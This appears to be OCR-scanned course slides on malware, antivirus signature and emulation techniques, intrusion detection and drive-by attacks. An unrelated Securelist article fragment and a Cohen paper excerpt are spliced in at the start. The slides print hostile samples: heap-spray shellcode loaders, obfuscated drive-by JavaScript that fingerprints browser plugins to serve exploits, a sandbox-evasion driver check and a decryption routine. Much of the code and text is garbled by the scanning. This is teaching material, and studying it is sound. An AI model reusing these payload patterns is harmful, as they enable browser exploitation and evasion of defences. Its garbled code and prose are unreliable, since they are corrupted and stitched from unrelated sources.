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SECURELIST THREATS v CATEGORIES» TAGS v  ENCYCLOPEDIA ST/

PNG Embedded - Malicious payload
hidden in a PNG file

By Thiago Marques on March 24, 2016, 9:56 am

Thiago Marques

One of the most complex tasks for the cybercriminals is to ensure their malicious code goes undetected by
antivirus and achieves its goal. For this, they have invesied a lot on more complex infection processes,
going beyond the traditional phishing and using techniques where the malicious payload is hidden in
encrypted files — even using a known file format. This is what we found in a new Brazilian Trojan in the wild:
it tries to conceal the malicious files in a PNG image. And the aftack starts with a simple phishing PDF.

Malware distribution

It looks like Brazilian cybercriminals follow the security news — this type of attack was publicized several
months ago in the US and now they are using the same method in Brazil. The phishing aspect used in this
campaign distributes a PDF attached to the email. The file is clean. The type of attack is the same as that
used to distribute an executable file or a .ZIP file containing the _pdf extension in the filename.
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MALWARE AND VIRUSES



Malware: Different Types

A virus is a computer
program that is capable of
making copies of itself and
inserting those copies into
other programs.

A worm is a virus that uses
a network to copy itself
onto other computers.

Spyware is software that aids in
gathering information about a
person or organization without
their knowledge and that may
send such information to
another entity

A Trojan often acts as a
backdoor, contacting a
controller which can then have
unauthorized access to the
affected computer.

A drive-by-download attack is a
malware delivery technique
triggered when the user visits a
website.
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The AV-TEST Institute registers over 450,000
new malicious programs every day http://www.av-test.org/en/statistics/malware/
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What is a Virus?

a program that can
infect other programs
by modifying them to
include a, possibly
evolved, version of
itself

Fred Cohen, 1983
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Computer Viruses
Theory and Experiments

Fred Cohen
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This paper introduces “computer viruses™ and examines
their potential for causing widespread damage to computer
systems. Basic theoretical results are presented, and the infeasi-
bility of viral defense in large classes of systems is shown
Defensive schemes are presented and several experiments are
deseribed
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1. Introduction

This paper defines a major computer security
problem called a virus. The virus is interesting
because of its ability to attach itself to other
programs and cause them to become viruses as
well. Given the widespread use of sharing in cur-
rent computer systems, the threat of a virus carry-
ing a Trojan horse [1,20] is significant Although a
considerable amount of wotk has been done in
implementing policies to protect against the illicit
dissemination of infermation [4,7], and many sys-
tems have been implemented to provide protection
from this sort of attack [12,19,21,22], little work
has been done in the area of keeping information
entering an area from causing damage [5,18] There
are many types of information paths possible in
systems, some legitimate and authorized, and
others that may be covert [18], the most com-
monly ignored one being through the user We will
ignore covert information paths throughout this
paper.

The general facilities exist for providing prov-
ably correct protection schemes [9], bui they de-
pend on a security policy that is effective against
the types of attacks being carried out. Even some
quite simple protection systems cannot be proven
‘safe’ [14] Protection from denial of services re-
quires the detection of halting programs which is
well known to be undecidable [11] The problem
of piecisely marking information flow within a
system [10] has been shown to be NP-complete
The use of guards for the passing of untrustworthy
information [25] between users has been ex-
amined, but in general depends on the ability to
prove program correctness which is well known to
be NP-complete

The Xerox worm program [23] has demon-
strated the ability to propagate through a network,
and has even accidentally caused denial of services
In a later variation, the game of ‘core wars’ [8] was
invented to allow two programs to do battle with
one another Other variations on this theme have
been reported by many unpublished authors,
mostly in the context of nighttime games played
between programmers. The term virus has also
been used in conjunction with an augmentation to

0167-4048 /87 /83 50 © 1987, Elsevier Science Publishers BV, (North-Holland)



Brief History of Malware
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Coevolution: Basic Setup
o J

- Wait for user to

o Identify a sequence of

execute an infected file instructions or data

-1 Formulate a signature

o Infect other (binary) 7 Scan all files

files by modifying
them

- Spread that way

-1 Look for signature
found verbatim

- Bottleneck: scanning
speed




Sighatures
I

Input Data Packet
AA AB |AC AD |AE * | * |AF |AA AB AC AD AE | * | * |AF

* e Pattern can match ————s
from any offset

- Pattern can match up to 400 bytes >

«—— |f regex pattern, needa —
full state machine to process

Signature Database
AB |AC AD |AE | * | * AF
BB | BC BD |+— 6 < num bytes <123 —=| BA | BB BC | BD
400 byte signature
60 byte signature |
13 byte signature

2|3




Signatures Are Updated All The Time
o

’
‘ Microsoft Security Essentials

Computer status - Protected

Normally,
updates are
released daily

Virus & spyware definitions status - Up to date
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your virus & spyware def

Definitions created on: 26,2010 at 3:01 PM
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Coevolution: Entry Point Scanning
L

= Place virus at the entry 0 Entry point scanning
point or make it directly
reachable from the entry = Do exploration of
point reachable instruction

starting with the entry

. , point of the program
- Make virus small to avoid

being easily noticed by

user -1 Continue until no more
/\structions are found

N\




Coevolution: Virus Encryption
N

O

[

[

Decryption routine
Virus body

Decrypt into memory, not
do disk

Set PC to the beginning of
the decryption buffer

Encrypt with a different
key before adding virus to
new executable

-1 Decryption (and encryption)
routines (packers) used by
viruses are easy to fingerprint

-1 Develop signatures to match
these routines

o Attempt to decrypt the virus
body to perform a secondary
verification (x-raying)




Simple Decryption Routine
I

Qoooo000  nop
oooo0001  nop
Q0000002 nop
Qoo00003 nop
agooooood pop eax
aoooooos  pop eax
agoooooo0e  pop eax
aoooooo? pop eax
oooooo00s  jmp Oxla
aoooo00s pop b
ao0oooodk dec ebhx
ooooo00s xor ecx,ecx
0000000E gt =
00000016 | loop Ox12 s the xor key
oooooo018  jmwp Ox1f

Qo0o0o0la  call Oxa

agooooolf push esp

Qoo00020  mwowv dword[0Oxedbdbdbe] eax
oooooozs  f2tp dwordl[ecx 44+0x3cbhdbdbd]
oooooo0ze =std

oooooo2d mowv cl,0x36

Qoooo02f  int Oxal

oooooosl ade byte[ezi] ,dh

Q0000033 aad OxkbSs

Q0000035 ss: dec edx

Code to decrypt



Jumping Ahead: Similar Behavior in JavaScript
N

| function kvaR2 () {
jFknneé = Math.PI;
XuCsEFU8 = Math.tan;
AMTthE4d = parselnt:;

Ch=aVl = 'length';
f=zhngs = 'te=st';
BulUsE2 = 'replace';

WHC1GXJE = AMTthR4 (~ ((iFknné & iFknné) | (~JFknné & 7
: : | (~wHC1GXJS

1| e 4 L =
| a5 1 L il [ =, L] y [ ", i

f*Encrypt By Dadong's J5X¥X 0.41 VIE*/

new function () {
EDRhr0 = BESEBS{'&lQE&dG*]EzY“ka]#E,mSE[x_GDE]ij

- }:
= try {

if (v J ~ ‘\\d * £ / g[fshng5] (bfBoeXy5)) :
} catch (e) {

bfBoeXys = wHC1GXJE;




Coevolution: Polymorphic
I

O

Use a mutation engine to generate a 1 Custom detection program
(decryption routine, encryption routine) designed to recognize specific
pair

detection engines

Functionally similar or the same, but

syntactically very different o Generic decryption (G D)
o Emulator
Use the encryption routine to encode o Signature matching engine

the body of the vi .
© POCY 0T the VIrtS o1 Scan memory/disk at regular

intervals in hopes of finding
No fixed part of the virus preserved decoded virus body

(decryption, encryption, body)




Emulation Challenges

How long to emulate the execution? Viruses use
padding instructions to delay execution. Can also use
sleep for a while to slow down the scanner.

What is the quality of the emulator? How many CPUs
to support?

What if decryption starts upon user interactions? How
do we trigger it?

What about anti-emulation tricks?



AV: Static and Runtime
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False Positives

A "false positive" is when antivirus software identifies a non-malicious file as a virus. When
this happens, it can cause serious problems.

For example, if an antivirus program is configured to immediately delete or quarantine
infected files, a false positive in an essential file can render the operating system or some
applications unusable.

In May 2007, a faulty virus signature issued by Symantec mistakenly removed essential
operating system files, leaving thousands of PCs unable to boot

Also in May 2007, the executable file required by Pegasus Mail was falsely detected by
Norton AntiVirus as being a Trojan and it was automatically removed, preventing
Pegasus Mail from running. Norton anti-virus had falsely identified three releases of
Pegasus Mail as malware, and would delete the Pegasus Mail installer file when that
happened n response to this Pegasus Mail stated:

On the basis that Norton/Symantec has done this for every one of the last three releases
of Pegasus Mail, we can only condemn this product as too flawed to use, and
recommend in the strongest terms that our users cease using it in favor of alternative,
less buggy anti-virus packages



More False Positives

O

In April 2010, McAfee VirusScan
detected svchost.exe, a normal Windows
binary, as a virus on machines running
Windows XP with Service Pack 3, causing
a reboot loop and loss of all network
access

In December 2010, a faulty update on
the AVG anti-virus suite damaged 64-bit
versions of Windows 7, rendering it
unable to boot, due to an endless boot
loop created

In October 2011, Microsoft Security
Essentials removed the Google Chrome
browser, rival to Microsoft's own
Internet Explorer. MSE flagged Chrome
as a Zbot banking trojan

-alse-Alarm-Test September 2014

::3: Please download here:

~alse-Alarm-Test March 2014

-"'-1: Please download here:

-alse-Alarm-Test September 2013

11 Please download here:

~alse-Alarm-Test March 2013

a: Please download here:



False Alarms

McAfee

False alarm found in some parts of

Detected as

Supposed prevalence

123Lopy package

Artemis!5b45@01db57

AntiyFarts package

Artemis!0F2 2cba4as70

||
Autolt package Artemis!94r2 DF00TE1A [
Brockhaus package Artemis!0d5eb2 45118 |
LomboFix package Artemis!f4d4a0141e15 [
InterdViden package Arbemis!F2AG 00553490 [ ]
Macromedia packagex Artemis! TO17563A1438
NoWirusThanks package Arternis!fade1b1507F5 [
{lvon package Arterms!becalb795128 [
RegistryCleanExpert package Artemis!EFFFIEDCRETT ]
SmadAV package Artemisle3chd12c5780 ]
Tiscali package Artemis!Fa0C0329703F |
TubeCatcher package Artemis!CDAL143125447 [
UniMED package Artemis!35471baz1d18 ]
WildTangent package Artermis!AZ1E2030AELE |
WWrdesktop packagex Arternis! 1dcad0dgsce? |

McAfee had 16 false alarms.




Limitations of AV

Reactive approach renders existing security
solutions less effective, because they are too slow
to respond and require up-to-date signatures,
before they can be effective

While the reactive signature approach provides
adequate identification of existing attacks, it is
virtually useless in protecting against new and
unknown attacks



Malwarebytes: Not Signature-Based
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IDS: Intrusion Detection Systems

Collect signals

Build a model of
normal (and
abnormal behavior)

Process logs and
create alerts
Notify system
operators

Behavioral models can
be quite complex

Are often graph-based
Or regex-based

Influence false
positive and false
negative rates



Host-Based vs. Network-Based IDS

Log analyzers

Signature-based
SEeNsors

System call analyzers

Application behavior
analyzers

File integrity checkers

Scan incoming and
outgoing traffic
Primarily signature-
based

Combined into
firewalls

Can be located on a
different machine



System Call Log

11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:

33:
33:
33:
33:
33:
33:
33:
33:
33:
33:
33:
33:
33:
33:
33:
33:

close

27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid

11:33:27;[pid

1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]

open 11:33:27;[pid 1286] mmap 11:33:27;[pid 1286] mmap

munmap 11:33:27;[pid 1286] mmap 11:33:27;[pid 1286] mmap

close 11:33:27;[pid 1286] open 11:33:27;[pid 1286] mmap

mmap 11:33:27;[pid 1286] munmap 11:33:27;[pid 1286] mmap

close 11:33:27;[pid 1286] open 11:33:27;[pid 1286] mmap

mmap
mmap
mmap
mmap
mmap
mmap
mmap
mmap
mmap

open

11:
11:
11:
11:
11:
11:
11:
11:
11:
11:

33:
33:
33:
33:
33:
33:
33:
33:
33:
33:

27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid
27;[pid

1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]
1286]

munmap 11:33:27;[pid 1286] mmap
close 11:33:27;[pid 1286] open
close 11:33:27;[pid 1286] open
mmap 11:33:27;[pid 1286] munmap
close 11:33:27;[pid 1286] open
mmap 11:33:27;[pid 1286] munmap
close 11:33:27;[pid 1286] open
mmap 11:33:27;[pid 1286] munmap
mmap 11:33:27;[pid 1286] close
mmap 11:33:27;[pid 1286] mmap

munmap 11:33:27;[pid 1286] mmap 11:33:27;[pid 1286]

1286] open 11:33:27;[pid 1286] mmap 11:33:27;[pid 1286]

mmap 11:33:27;[pid 1286] munmap 11:33:27;[pid 1286] mmap 11:33:27;[pid 1286]

close 11:33:27;[pid 1286] open 11:33:27;[pid 1286] mmap 11:33:27;[pid 1286]

mmap 11:33:27;[pid 1286] munmap 11:33:27;[pid 1286] mmap 11:33:27;[pid 1286]
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Registry Access Log

File Edit

=H =

Cpkions  Help

LB B

i'll"l

7 ¥

L

B Time

1706 5.045310429
1707 504320578
1708 5.05113548
1703 505230304
1710 505433798
1711 5.05548954
1712 505763769
1713 506056452
1714 5.060G7ET0
1715 506357241
1716 506366074
1717 506375933
1718 506377745
1713 506330606
1720 514350605
1721 714638778
1722 913772011

-

Process

E) e MWWV VDWW

explar...
explar...
explar...
explar...
explar...
explar...
explar...
explar...
explar...
explar...
explar...
explar...
explar...
explar...
b 2ath...
b ath...
b ath...

Request

(et alue
(et alue
(et alue
(et alue
(et alue
(et alue
(et alue
(et alue
(et alue
(et alue
(et alue
Openk.ey

(et alue
Clozek.ey

Cluenisalue
(et alue
(et alue

HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HE.CUNS oftwarehMicrozoft\wWindowszhC..
HECUMSOFTwWARE \Microzoftsywindo. ..
HECUMSOFTwWARE \Microzoftsywindo. ..
HECUMSOFTwWARE \Microzoftsywindo. ..
HELMMSOF TWARE \Microzoft\windo...
HELMMSOFTwWARE \Microzoftsywindo. ..
HELMMSOFTwWARE \Microzoftsywindo. ..

Rezult

SUCCE...

MNOT F...
MNOT F...
MNOT F...
MNOT F...
MNOT F...
MNOT F...

SUCCE...
SUCCE...
SUCCE...
SUCCE...
SUCCE...
SUCCE...
SUCCE...

MOT F...
MNOT F...
MNOT F...

Other |
02 00 00 o

03 00 00 o
03 00 00 o
03 00 00 o
03 00 00 o

Access: O
BA AT CY S
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Host-Based Intrusion Detection

en()

f(int x) { op
x ? getuid() : geteuid(); .—"

X4+ ‘/

}
g() { N _
fd = open("foo", O RDONLY); close() < ‘ get”'d() geteuid()

f(0); close(fd); f(1);
exit(0);

| - e

If the observed code behavior is inconsistent with the statically inferred model,
something is wrong



DRIVE-BY MALWARE



Brief History of Memory-Based Exploits

1999: Melissa
Stack-based overruns 2001: CodeRed
2002: Nimda
Memory-
based Heap-based overruns
exploits
@ Drive-by attacks and heap sprays




What is a Drive-By Attack?

e
&




Drive-By Attack Example: Heap Spraying

Browser Heap

<SCRIPT language='"text/javascript">
shellcode = unesca " L
oneblock = unesca
var fullblock = o
while (fullblock.
fullblock += fu

}

sprayContainer = new Array() ;
for (i=0; i<1000; i++) {
sprayContainer[i] = fullblock + shellcode;

}
</SCRIPT>
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Net UK, 31 August, 2010 14:42

NEWS A zero-day vulnerability in Apple QuickTime that could allow a remote attacker to take
over a computer running Internet Explorer has been reported by security researchers.

The flaw bypasses two commonly used security measures on Windows systems: address space
layout randomisation (ASLR) and data execution prevention (DEP), according to Ruben
Santamarta, a researcher for Spanish security company Wintercore.

"The exploit defeats ASLR+DEP and has been successfully tested on [Windows 7], Vista and XP,”
said Santamarta in security advisory on Monday.

Santamarta said that Windows 7, Vista and XP machines using IE are vulnerable if the user visits
a malicious website. Apple QuickTime 7.x and 6.x code can be exploited through the browser and

is vulnerable to an exploit that uses a heap-spraying technique, said the researcher. Heap
spraying is a technique which tries to put bytes into the memory of a target process.

The flaw appears to be the result of Apple developers including old code in newer versions of
QuickTime, according to Santamarta. The problem lies with the parameter for the QTPlugin.ocx

functionality, which has been removed in later versions of QuickTime.

"I guess someone forgot to clean up the code,” said Santamarta, who exposed a critical
vulnerability in Java in April alongside Google security researcher Tavis Ormandy..

From DEPI==



http://www.web2secure.com/2009/07/mozilla-firefox-35-heap-spray.html
http://blog.fireeye.com/research/2009/07/actionscript_heap_spray.html

More Complex Malware
- 4

1 var E5Jrh = null;

2 try {

3 E5Jrh = new ActiveXObject("AcroPDF.PDF")

4 )} catch(e) { 1}

5  1f(!EbJrh)

6 try {

7 ES8Jrh = new ActiveXObject("PDF.PdfCtrl")

& } catch(e) { }

g  if(E5Jrh) {

10 lv = EBJrh.GetVersions() .split(",")[4].

11 split("=")[1] .replace(/\./g,"");

12 if(lv < 900 && 1v !'= 813)

13 document.write(’<embed src=".../validate.php?s=PTqg..."
14 width=100 height=100 type="application/pdf"></embed>’)
15 1

16 try {

17 var E&Jrh = 0;

18 EBJrh = (new ActiveXObject(

19 "ShockwaveFlash.ShockwaveFlash.9"))

20 .GetVariable("$" + "version").split(",")

21 } catch(e) { }

22 if(EBJrh && E5Jrh[2] < 124)

23 document.write( <object classid="clsid:d2/cdbbe-ae..."
24 width=100 height=100 align=middle><param name="movie"...');

3]
o
L'.J
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a. amazon.com: Online Shopp...
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Aspects of Drive-By Malware

]
- Attacks - Malware is highly
Browser obfuscated
What is mostly affected? -1 Obfuscation changes all
Browser plugins the time

What is affected in

plugins? Why plugins are

most open to exploitation?
7 Vulnerabilities

Dangling pointers

Double frees

Buffer overruns are harder
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Obfuscation

eval (""+0(2369522)+0(1949494) +0
(2288625)+0(648464)+0(2304124) +
0(2080995)+0(2020710)+0(2164958
) +0(2168902)+0(1986377)+0 (22279
03)+0(2005851)+0(2021303)+0 (646
435)+0(1228455)+0(644519)+0 (234
6826)+0 (2207788)+0(2023127)+0 (2
306806)+0(1983560)+0(1949296) +0
(2245968) +0(2028685)+0(809214) +
O (680960)+0(747602)+0(2346412) +
0(1060647)+0(1045327)+0(1381007
) +0(1329180)+0(745897)+0 (234140
4)+0(1109791)+0(1064283)+0 (1128
719)+0(1321055)+0(748985)+...);

N\

var 1 = function(x) {

return String.fromCharCode (x) ;

var O = function (m) {
return String.fromCharCode (
Math.floor(m / 10000) / 2);
}

shellcode = unescape ("3ub4EBSU/58B..");

var bigblock =

while (bigblock.length<slackspace) {
bigblock += bigblock;

}

block = bigblock.substring (0,
bigblock.length-slackspace);

while (block.length+slackspace<0x40000)
block =

}

memory =

block + block + fillblock;

new Array();

for (x=0; x<300; x++) {

unescape ("sulcO0csulcOc™) ;

{



More Obfuscated Code

function chavs(a) {
eval('va' + 'rxm' + '1Do' + 'c = n' + 'ew A' + 'ctiv' + 'eX' + 'Objec' + 't("' + 'Micr’
«mlloc.async = true;
xmlDoc.loadXML('<!DO" + 'CTY' + 'PE ht' + 'ml PU' + '"BLI" + 'C "-//W' + '3C//DT" + 'D XH'
'tion/fE' + "N™ "r' + 'es' + "1/ + @+ ""»');
if (wmlDoc.parseError.errorCode != @) {
var err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";

err += "Errocr Reason: + ¥xmlDoc.parseError.reascn;

err += "Error line: + uxmlDoc.parseError.line;

if (err.indexOf("-2147823883") > @) {

return 1;
T else {
return @;
¥
}
return @;

}
var c_a = 9,
if (chavs("c:\\W" + "in" + "dow" + "s3\\Sys" + "tem" + "30d" + "riv" + "ersi\eamo” + "n.sy" -
WsAASY" + "ste" + "m32W\\dr" + "ive" + "rs3\h\k1" + "if.sy" + "s") || chavs({"c:\AWi" + “"ndo" +
"SAAKNT + Mep" + "s.s" o+ "ys") || chavs("c:\\W" + "indo" + "ws\\Sys" + "tem3" + "2\\dr" + "iv
chavs("c:\\Wi" + "nd" + "ows\\Sy" + "stem" + "3I2\\dr" + "ive" + "rs\\vmn" + "et.sy" + "s"} ||
Ttem” + "IZNAART + "iver" + "s\\u" + "mxne" + "t.sy" + "s") || chavs("c:\\WWin" + "dow" + "s\\
Tersh\kL" + "L.s" o+ "ys") || chavs("c:i\WWAIT + "ndo" + "ws\ASy" + "st" o+ "em32\Ad" + "rdiv” o+ "
chavs("c:\\Win™ + "do" + "ws\\Sys" + "tem3" + "I\\d" + "rive" + "rs\\tm" + "tdi.s" + "ys") ||
"tem3" + "2\\d" + "rdive” + "rsd\\tma" + "ctmon.s" + "ys") || chavs{"c:\WWWA" + "ndo" + "ws\\Sy"
"ersW\\THM" + "EBC" + "32.sy" + "s") || chavs({"c:\\Wi" + "ndow"” + "s\ASys" + "tem3" + “"IZ\\dri" -
|| chavs("c:\\W" + "indo™ + "ws\A\Sy" + “ste” + "m32\\dr" + "iv" + “"ers\\tm" + “"com" + "m.s" +
"WsAASY" + "ste™ + "m323W\d" + "riv" + "ersi\\tm" + "ewvt" + "mgr.sy" + "s")}) {

document .write("<meta http-equiv=\"refresh\” content=\"8; url=http://google.com\">");

c_a =1;

EH



Malzilla

# Malzilla by bobby =loix|
Download | pecoder | Misc Decoders | Kalimero Processor | shellcode analyzer | Log | Clipboard Monitor | Motes | Hex view | Pscript | Tools | Settings | about |
New Tab (1) |

4
Text |Hex | Cookies | Links Parser |

<body><script>REKt=docunent;oPMI="innerHTHL";OlaH="getElementById"; zhHy='REKLKUTQ' </script><Sup id="gS5il">g</SUP><script> 4
>pzfK=REKt [OlaH] ('gSil') [oPMI];S3xc=bzfK</script><diV id=kHmZ>r</Div><script>function Nthl(){return REKt[OlaH] ('kHwZ') [
[oPNI]}</script><spin id=iSGg>S</SpalN><script>Pujf=REKt.getElewentById('i3Gq') [oPMI] ;vradb="'g5i1d3Qz' ;TsOC="'gS5ilcCDe' ;ENn?
='n';gS5il.evgV=ENn7;gSil.cgtz=gS5il.evgV;Rfwi=gSil. cqtz</script><_A id= "YRYV">ha</£><script>funct:i.on TOwS () {return REKt.
.getElementById(' YRYV') [oPMI]}gS5il.Yr7d=TOwS () ;g5i1.CT9d=g5i1. Yr7d</script><texTArEA id=bluT>rC</tExTaREa><HS id=uTrD>
>charCode</hS5><script>biKp=function() {return REKt.getElementById('uTrD') [oPMI]} </script><§ ia= "EpZk">At</a><script>Zuar=
=REKt.getElementById{'Ep2k') [oPMI]; kHwZ. ApHU=Zuar; YRYV.Ucta=kHnZ. ApMi</script><dIv id=1dlv>i</DIV><script>gNIE=function()
{return REKt[OlaH] ('1ldlv') [oPNI]};NsbR=gNIE ()</script><E E=M>leng</pre><pre id="IJ ih">th</m><i id="y0v0">t<./l><
<pRe id=JU¥G>i+=101516-</PRe><i id="V7FL">101513;</a><script>h29h=REKt.getElementById('V7FL') [oPMI]</script><hé id="yOuUN"
>f</H6><script>qroE='kHnZiz8D' </script><sTRIke id=YwxP>ro</stRikE><script>wdRe=function(){return REKt.getElementById(
'YuxP') [oPMI]};Ep2k.Wjpx=wdRe () </script><dIV id=FGet>yh</Div><script>function =4Uf () {return REKt[OlaH] {'FGet') [oPMI]}</
/script><hé id="x2s5">s2</hé><ul id=WMbg>1</ul><hé id="yjiD1l">V</Hé><script>fj2l=function(){return REKt[OlaH] ('yjDl'}) [oPMI
1}:Hab=function() {return £j21()};function WOnT() {return HNab()}</script><3Up id=j08s>5jo</3uP><script>function cpogL () {
{return REKt[OlaH] ('jO8s') [oPNI]}</script><BIlg id=J4fg>uB8</BIg><suB id="Swli">2W</SUb><spln id="bMvy">m</sPin><script>
>function azoJ () {return REKt.getElewmentById{'bMvy') [oPHI]}function Ga95() {return azoJ()}Tadl='bluTaKis'</script><BiG id=
"gXWS">C</BiG><script>Kygi=function () {return REKt[OlaH] {'gXWS') [oPMI]};Wwde=Kyq]j()</script><dIv id="pPJj">zIg</DIV><PRe
id="Igug">s</prer<script>ndvx=function() {return REKt.getElementById{'Igug') [oPNI]};ldlv.LJdj=ndvx () ;cdnt='yOWNlsScl' </
/script><Spall id="OMfo">-</sPAn><script>kupC=REKt.getElementById('OMfo') [oPMI]; uayp=function () {return kmpC}</script><codE
id="ZRRg">3</codE><Sub id="mEXf">hx</SUB><sPalN id=UAWw>X3</Spin><I id=BHp¥>I</i><Div id=jdj0>638=EyVo;</DiV><i id=C¥pg>-

</ i><script>m9d=REKt.getElementById (' CYpg') [oPHI]; WMby. q0kJ=mm9d</script><hS id=H739>4</HS5><i id=SJAg>c</i><script>bytK=
=REKt [OlaH] (' SJAq') [0PMI] ; phSH=bytK</script><B id=n2lu>51D</B><script>function IfIs(){return REKt[OlaH] ('nziu') [oPMI]}
}g4pE=IfIs () ;function oZpa() {return g4pE}</script><Span id="Q3juw">0bD6+=vvRZI</Spin><pRE id="0JLs">;</PRE><script>tond=
'ldlvvxén' ;cUIN='g5i1rCBi'</script><hS id="YVhS">62<fE><SCEipt‘.)bﬂvy‘. £xZQ=REKt [0laH] (' Yvhs') [oPMI] :NwkU=bMvy.fxZQ</script
><prE id=mMmé6>Stri</pre><script>vS5SP=function(){return REKt.getElementById('wMué') [oPHI]};liy2=function(){return v58P()}<
/script><h3 id=vewd>ng.fromCharCode</H3><sTrIke id=N6hM>PLrxg=PLrx+uTgc;bheD=sIvBt+</StRikE><H2 id="RebX">XD7y+Vvnj+PLrxg
:</h2><ul id=Fé67m>cM6</Ul><script>Eex¥='BHpVOdl2'</script><SUB id="XDsE">fromCharC</SuB><script>uval=REKt.getElementById(
'XDsE') [oPMI] ;function aUsu() {return uval}</script><DIv id=fjwl>od</Div><big id="hsMiU">e</bIgr<script>XW6x=REKt[OlaH] {
'h8MW') [0oPHI] ;Ep2k.sgFK=REKt [OlaH] (' ZRRg') [0oPMI] ;bwLO=function() {return Ep2k.sgFK};pPJ]j.Lavg=REKt[OlaH] ('F&7m') [oPHI] </
fscr1pt,><D1V 1d—wklﬂl>v</DlV><A id="hau7">vRZ=JLULf (HPEK[LDJz] (i) -vnhd) ;</ar<script>Jztp=REKt [OlaH] (' hau?') [oPMI] ;function
ogull () {return Jztp}UuHz=function() {return oquN()};XigM=UuHz()</script><SuP id="Dd¥Xh">e</sUP><script>g9Ki='jdjOXTmw' </
/script><hl id=IiDe>c</Hl><script>VddV.ejMs=REKt.getElementById('IiDe') [oPMI]</script><CoDe id="McwD">6</CODe><olL id=xmyo
>1</01><bIG id="Xnsg">£</BIG><script>bztj=REKt[OlaH] ('ZXnsq') [oPMI] ;k£fUX=bzt];jdjO.D3EH=kKEUX; Wrkr='pPJjcS561' </script><cOde
id: gkGk>J4C</CODe><script>YRYV. riimC=REKt [OlaH] (' gkGk') [oPMI] ;VCYe=YRYV.rWmC;function GvkO () {return VCYe}</script><ol id=
=6306>1</0L><script>VddV.OuH3=REKt [OlaH] ('GJO6') [oPMI]</script><b id="o0HP">19</b><script>1ldlv.NITr=REKt[OlaH] ('o0HP') [
[oPMI];tUxN=1dlv.NITr</script><H5 id="IeOn">vvRZ=Tkg5[Cq0I] (HPEK[LDJz] (</h5><script>11yt=REKt[OlaH] ('IeOn') [oPHI];
;function riVbJ () {return llyt}</script><sUB id=xGpr>i+s4Qt)+Ulq0) ;</Sub><script>LKhR='V7FLaGhx'</script><h2 id="ajcl">TkgS
.fromCharCo</h2><script>XDsE. 1Gw4=REKt.getElenentById('ajcH') [oPMI] ;kHmZ.CWZ9=XDsE. 1Gwd</script><sHialLL E=108q>de</SmAlL>
<script>dBIQ=REKt.getElementById('108g') [oPHI]</script><SUB id="ESg2">T</sUb><script>M0sM=REKt[OlaH] ('ESg2') [oPHI] ediZ=

=MN=M: dhdN=!Temer? 118! - 9082 hNtd=!¥! - RHnW MhQa=iN8=s hNtd:L.2 RH=RHnY Whas:ViFuv=Ffunction (i {return I.2RH) +wviN]l aMna=ViFuii</ :1
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[OPMI] ) +0(Vggf())] (' rLE' +0(REEC[OlaH] (' iW0o') [oPMI]) ) [oPMI]) ) ;if (nIfl) {ulrr|
s EUyp="";BRs6=0(0Gig. Tchg) +2 (gpgs . UJvy4d) +0 (oGig. Ucliqg) ; LTIE=C0(0Gig. Uckg) +2 (gpgs
T4 :hO1E=3783u ({0 {ddrd) +0(Erif. T6eI)) s xwll=383u (0 (FviL) +0(REEL [O(REEL
.getElementById (' gtul') [OPMI] )40 (VogE() )] ('=®51E') [0FPMI])) :for (nS3I=0:nS3jI<h01X
sn3jl++) EWyp += BRs6:;EWyp += 1TJE:GIru=0(REEt.getElementById(' ivogn') [oFPMI]) +O
[EGGL.rASc) ;for (n3iI=0:n33I<xwll; n3jI++) 3183u(GIru) ;urkl =0(REEL[O(REEL
.getElementById (' gtul') [oPMI])4+0(VggE() )] ('Lels') [oPMI] ) +0(QULL)+0(ZEq6 () ) +0
(REEL. getElementEyId (O (REKL[OlaH] (' 3W0o' ) [OPMI])+'u3R') [oPMI] ) +0(REKL
.getElementById (' xDat') [OPMI])+0(10hP () ) +CSy7?+0(Drgl) 40 (10LP () ) +WizZ+0 (REKL[O
[REEt . getElementEvId (' gtul') [oPMI] ) +0(Vggf (1)1 (' fLR2') [oPMI] ) +0 (veulk.FHI) +O
{cnaP () ) +0(REKL.getElementById (' KMel') [oPMI]) +0(A413) +0 (Kvp4) +0 (REKL [0 (REKL
.getElementById (' gtuR' ) [oPHI] I+ (VggE (1 1] {'mSme' ) [oPNI] ) +0(Hpadi) ) +C (Aaht.p305)
+0 (REEL [O(REEL . getE lementEyId (' grul') [oPMI])+0 (Vg () 1] (' ¥PvL') [oFMI]) + EWyp
+0 (REEL [O(REEL .getElementById (' gtuR' ) [oPMI])+0 (Voo (1) ] (' Wopa¥' ) [oPMI]) 40 (RERL[O
(REEL.getElementEyId (' grtuR') [OPMI])+0(VogE())] (' KpJdu') [0PMI]) +0 (bVoK. QXJIN) +0
[(REEL [0 (REEt. getElementById (' gruR' ) [oPMI] )40 (Voof (1)1 (' 1¥xD' ) [oPMI]) +">4">" +0
[A413) 40 (M18C () ) 40 (rBENF) +0(Ga7Y) : Kvat = REEL[O(REEL[O(REEt.getElementEyId (' gtuR
V) [oPMI]) 40 (Vogf())] (' 2wV ) [oPMI] ) +0(xJPE()1)] (O(ZXCE) +0(ViY¥6) ) : Kwat [O (REKL[O

rtfunetion nuOT(){cry {nIfl=0;383u(0(5v537) +0(REKL [O(REEt .getElementById (' gtuRl') ;I

=1 ]

kHMZ ¢
i5Gg S
"YRYW" ha
bluT rC

uTrD  charCode
"Ep2k" At

Ik i

wddy  leng
"I3h"  th
" b

G i+=101516-

T

{REEL.getElementById (' gtuR') [oPMI] ) +O (Vg (11] ('noMc' ) [oFMI] ) +0 (REKL "WIFL" 101513

